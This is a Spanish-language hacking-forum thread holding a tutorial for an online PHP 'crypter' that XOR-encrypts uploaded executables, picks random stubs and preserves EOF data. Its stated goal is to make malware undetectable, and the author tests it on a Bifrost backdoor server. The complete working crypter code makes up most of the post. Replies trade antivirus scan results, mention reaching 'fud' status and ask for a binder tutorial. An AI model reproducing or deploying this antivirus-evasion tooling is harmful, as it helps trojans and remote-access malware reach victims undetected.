Antes de nada recomiendo leer y comprender el anterior tutorial foro/viewtopic.php?f=8&t=13129.
En este solo voy a explicar como funciona el soporte EOF y como funcionan los stub aleatorios. (En cuanto tenga el dreamweaver pongo todo explicado con imagenes)
Bueno vamos a explicar los cambios que le he añadido al crypter:
- Multi stub (3 stubs, no les he hecho muchos cambios eso os lo dejo a vosotros ) que se eligen de forma aleatoria
- Sopote EOF
- Muestra en el index de la ultima actualizacion
y alguna cosilla mas.
Bien, pues vamos a explicar las partes añadidas:

index.php
index.php escribió:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "[Enlace externo eliminado para invitados]">
<html xmlns="[Enlace externo eliminado para invitados]">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Crypter Online by Sod v2</title>
</head>

<form action="crypter.php" method="post" enctype="multipart/form-data" class="Estilo1">
<table width="291" border="0">
<tr>
<td width="151">Archivo:
<br />
<br />
</td>
<td width="151"><input name="archivo" type="file" id="archivo" size="25" /></td>
</tr>
<tr>
<td colspan="2">
<div align="center">
<input type="submit" value="Subir" />
</div></td>
</tr>
</table>
</form>
<?php
include('configuracion.php');
echo "Fecha ultima actualizacion: ".$fecha_actualizacion;
?>
</body>
</html>
Añade la posibilidad de mostar la fecha en la cual se ha modificado.

configuracion.php
configuracion.php escribió: <?php
/* Tutorial Creacion Crypter Online v2 by sod
para www.indetectables.net */

/* Para no tener que modificar todo lo demas cambiando todas las variables
y para no tener que obligar a todo el mundo a tener que usar 3 stubs,
simplemente lo que hacemos es asignar el contenido del array a las variables anteriores
*/
$nombre_stub_array = array( array('stub1.exe', '##$$##', 'ZXCVBNMASDFGHJKL'), //Primer array
array('stub2.exe', '$$##$$', 'CSDFVBNMAGHJZXKL'), //Segundo array
array('stub3.exe', '$#$$#$', 'BNMCZXSDFVJKLAGH'));//Tercer array
shuffle($nombre_stub_array); //Cambia de orden los elementos del array de manera aleatoria
$nombre_stub = $nombre_stub_array[0][0];
$split_stub = $nombre_stub_array[0][1];
$clave_encriptacion = $nombre_stub_array[0][2];

/* Si solo quieres usar un stub, borra la parte de arriba y deja solo esto
recuerda no borrar <?php, porque si no no funcionara


$nombre_stub = 'stub.exe';
$split_stub = '##$$##'; // He usado lo mismo para el split y para la clave, no es obligatirio
$clave_encriptacion = 'ZXCVBNMASDFGHJKL';
*/
$version_stub = '1.1';
$nombre_final_archivo_encriptado = "encriptado".rand().".exe";
$fecha_actualizacion = '06/09/2009';
?>
Se añade un array en el que estan el nombre de los stubs, clave a usar y el split (que como podeis leer en los comentario podeis quitar si quereis) y la variable $fecha_actualizacion que saldra en la pagina principal

Imagen


funciones.php
funciones.php escribió: <?php
/* Tutorial Creacion Crypter Online v2 by sod
para www.indetectables.net */
#Funcion para facilitar la lectura de de un archivo
function Leer($nombre){
$handle = fopen($nombre, "rb");
$contenido = fread($handle, filesize($nombre));
fclose($handle);
return $contenido;
}
#Funcion para facilitar la creacion de de un archivo
function Crear($nombre, $contenido){
$handle = fopen($nombre, "w+b");
fwrite($handle, $contenido);
fclose($handle);
}
#Encriptacion XOR
function XOREncryption($InputString, $KeyPhrase){

$KeyPhraseLength = strlen($KeyPhrase);

// Loop trough input string
for ($i = 0; $i < strlen($InputString); $i++){

// Get key phrase character position
$rPos = $i % $KeyPhraseLength;

// Magic happens here:
$r = ord($InputString[$i]) ^ ord($KeyPhrase[$rPos]);

// Replace characters
$InputString[$i] = chr($r);
}

return $InputString;
}
#Funcion para obtener EOF
function EOF($datos){
/*
Autor original: enzym
Nombre: ReadEOFData/WriteEOFData by enzym
URL: [Enlace externo eliminado para invitados] ... ction.html
Traducido a php: Sod
*/
# 0 --> [Guardamos el texto que buscaremos para encontrar el EOF] //En base64, lo hago asi para que no salgan "cuadrados extraños" xD
$cadena = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
# 0.1 --> [Le "quitamos" la codificacion en base64]
$cadena = base64_decode($cadena);
# 1 --> [Damos la vuelta]
$datos = strrev($datos);
# 2 --> [Buscamos "$cadena" en el ejecutable]
$posicion = strpos($datos, $cadena);
# 2.1 --> [Si nos devuelve 0 esque no tiene EOF, y devolvemos 0]
if ($posicion == 0){
return FALSE;
}
# 3 --> [Extraemos lo que se encuentra entre el 0 y el numero que nos de "$posicion"] // Porque hay esta el EOF
$eof = substr($datos, 0, $posicion);
# 3.1 --> [Y le damos la vuelta de nuevo para dejarlo como tiene que estar];
$eof = strrev($eof);
# 4 --> [Y listo devolvemos el EOF]
return $eof;
}
?>
Se le añade la funcion EOF

crypter.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "[Enlace externo eliminado para invitados]">
<html xmlns="[Enlace externo eliminado para invitados]">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Crypter Online by Sod</title>
</head>

<?php
/* Tutorial Creacion Crypter Online v2 by sod
para www.indetectables.net */
error_reporting(0); // No mostramos ni un error

include('funciones.php'); //Incluimos las funciones (Abrir, Crear, Encriptacion XOR,...)
include('configuracion.php'); //Incluimos el archivo de las configuraciones

//Esto seria parte del upload
//(te recomiendo leerte algun tutorial)
$archivo_peso = $_FILES["archivo"]["size"]; //Peso del Archivo que subimos
$archivo_temporal = $_FILES["archivo"]["tmp_name"]; //Nombre temporal

if ($archivo_peso != 0){ //Si el tamaño es mas grande de cero, hacemos todo

$archivo = Leer($archivo_temporal); //Leemos el archivo a encriptar

$EOFDATA = EOF($archivo);

$archivo_encriptado = XOREncryption($archivo, $clave_encriptacion); //Encriptamos el archivo

$stub = Leer($nombre_stub); //Leemos el stub

//Creamos el archivo de la forma stub + firma + archivo encriptado + firma
//Esto varia segun el crypter
if (!$EOFDATA){
$archivo_a_guardar = $stub.$split_stub.$archivo_encriptado.$split_stub;
echo "EOF no detectado<br>";
Crear($nombre_final_archivo_encriptado, $archivo_a_guardar);
} else{
echo "EOF detectado<br>";
$archivo_a_guardar = $stub.$split_stub.$archivo_encriptado.$split_stub.$EOFDATA;
Crear($nombre_final_archivo_encriptado, $archivo_a_guardar);
}

echo "Encriptado correctamente :) <a href=$nombre_final_archivo_encriptado>$nombre_final_archivo_encriptado</a>";
echo "<br> Stub usado: $nombre_stub"; //Es para saber que funciona bien no tienes porque dejarlo
}else{

echo "Error al subir :(";
}
?>
</body>
</html>
El solo detecta si tiene eof y si lo tiene lo añade.
Bien pues para probar subo un servidor del bifrost.

Imagen


Detecta que tiene EOF pero... ¿Funcionara de verdad?

Imagen


Funciona de pm , solo quedaria el registro, pero con que cojais cualquier ejemplo de internet vale, pero bueno estoy haciendo uno con sistema "premium" (o vip como quereis llamarlo).
Contraseña: indetectables.net

---------------------------- Solucion a 000webhost ----------------------------

Bueno pues no se porque pero 000webhost no te deja descargar un ejecutable directamente, asique tendremos que realizar un pequeño "ajuste".
Vamos a crear un archivo llamado descargar.php, en el mismo directorio donde esten los archivo
descargar.php escribió: <?php
// Credits : jonasjohn //Codigo original
// Para usarlo descargar.php?id=XXXX -> XXXX es el nombre del archivo
$id = $_GET['id'];

if(strpos($id,"/")!==false){ //Leve seguridad para evitar que se robe cualquier archivo de otro directorio.
die("No puedes navegar por otros directorios");
}

if(file_exists($id) && is_file($id)) {
// send headers
header('Cache-control: private');
header('Content-Type: application/octet-stream');
header('Content-Length: '.filesize($id));
header('Content-Disposition: filename='.$id);

// flush content
flush();

$file = fopen($id, "rb");

// send the file to the browser
print fread ($file, filesize($id));

// close file stream
fclose($file);
} else {
die('<center> El archivo <strong>"'.$id.'"</strong> no existe, tu ip: '.$_SERVER[REMOTE_ADDR].' a sido almacenada'); //Mentira y gorda, pero algunos se acojonan xD
}
?>
Una vez tenemos el archivo creado vamos a abrir el archivo crypter.php y buscamos esto:
echo "Encriptado correctamente :) <a href=$nombre_final_archivo_encriptado>$nombre_final_archivo_encriptado</a>";
y lo dejamos de esta manera:
echo "Encriptado correctamente :) <a href=descargar.php?id=$nombre_final_archivo_encriptado>$nombre_final_archivo_encriptado</a>";
Y ya funciona correctamente

Saludos
No tiene los permisos requeridos para ver los archivos adjuntos a este mensaje.
Última edición por sod el 08 Sep 2009, 22:05, editado 1 vez en total.
Me sigue dando error sod:

Código: Seleccionar todo

Ha tratado de acceder a la dirección http://seritx.hostei.com/crypter/encriptado273857437.exe, la cual no está disponible en el momento. Por favor asegúrese de que la dirección Web (URL) está correctamente escrita, y luego intente recargar la página.
Pero los archivos estan ahi:

Imagen


Salu2

Mostrar/Ocultar

Gracias , le hare unos retoques haber como queda ;)

Edit1: Me quedo fud pero rompio el server del bifrost, probare con un solo stub ;)
Última edición por Word el 06 Sep 2009, 14:24, editado 1 vez en total.
le dege 1 stub, y solo me cambio el nombre xD, me lo dejo igual

File Info

Report generated: 6.9.2009 at 15.16.14 (GMT 1)
Filename: encriptado1120858815.exe
File size: 39 KB
MD5 Hash: 344e508103d63c9bae54567f851b2eca
SHA1 Hash: ADE66E99FAF26E27575A03C6210849F23A9DA24D
Self-Extract Archive: Nothing found
Binder Detector: Nothing found
Detection rate: 19 on 22

Detections

a-squared - Virus.Win32.Agent.AAUU!IK
Avira AntiVir - TR/Agent.cuf
Avast - Win32:Agent-AAUU [Trj]
AVG - Agent.JWN
BitDefender - Backdoor.Bifrose.ZVN
ClamAV - Trojan.Bifrose-2451
Comodo - Backdoor.Win32.Bifrose.NCZ
Dr.Web - BackDoor.Bifrost.816
Ewido - Trojan.Agent.cuf
F-PROT6 - W32/Trojan2.MHB
Ikarus T3 - Virus.Win32.Agent.AAUU
Kaspersky - Trojan.Win32.Agent.cuf
McAfee - BackDoor-CEP.gen.a trojan
NOD32 v3 - Win32/Bifrose.NCZ
Norman - Trojan Bifrose.gen12
Panda - -
QuickHeal - Trojan.Midgare.deh
Solo Antivirus - -
Sophos - Troj/AgentU-Fam
TrendMicro - -
VBA32 - Trojan.Win32.Midgare.cwy
VirusBuster - Trojan.Agent.ECMZ

Scan report generated by
[Enlace externo eliminado para invitados]
Seritx escribió:Me sigue dando error sod:

Código: Seleccionar todo

Ha tratado de acceder a la dirección http://seritx.hostei.com/crypter/encriptado273857437.exe, la cual no está disponible en el momento. Por favor asegúrese de que la dirección Web (URL) está correctamente escrita, y luego intente recargar la página.
Pero los archivos estan ahi:

Imagen


Salu2
Me pasa exactamente lo mismo que a ti en 000webhost, pero tranquilo que tengo un php que te deja descargarlo, ahora mismo no puedo porque no lo tengo a mano, pero esta noche te lo pongo y eso si funciona bien porque lo he probado

Saludoss
sod escribió:
Seritx escribió:Me sigue dando error sod:

Código: Seleccionar todo

Ha tratado de acceder a la dirección http://seritx.hostei.com/crypter/encriptado273857437.exe, la cual no está disponible en el momento. Por favor asegúrese de que la dirección Web (URL) está correctamente escrita, y luego intente recargar la página.
Pero los archivos estan ahi:

Imagen


Salu2
Me pasa exactamente lo mismo que a ti en 000webhost, pero tranquilo que tengo un php que te deja descargarlo, ahora mismo no puedo porque no lo tengo a mano, pero esta noche te lo pongo y eso si funciona bien porque lo he probado

Saludoss
Ok Muchas gracias Sod

Salu2

Mostrar/Ocultar

que grande

me saco el sombrero te quedo DPM espero el tuto sobre un binder online muchas gracias
que vuelva demonio666vip
Imagen
Seritx amigo ya tienes puesto el php ya descarga bien :), deberias modificarlo para que no puedan bajarse nada importante (le he puesto un leve filtro para evitar que se pueda descargar algun archivo de otro directorio)
__TOD__ escribió:que grande

me saco el sombrero te quedo DPM espero el tuto sobre un binder online muchas gracias
Creo recordar en la seccion modding puse una vez un binder online (se que hice uno pero perdi el codigo fuente y tampoco estoy seguro de que estubiera en esa seccion pero cre que si )
Pero de todos modos hare un tutorial
Saludos
Skillmax escribió:Que bien explicado sod todo un grande

Offtopic:// Primer post que doy la enhorabuena por el trabajo

Grande SOD
Gracias tio!
Saludos
Responder

Volver a “Manuales y Tutoriales”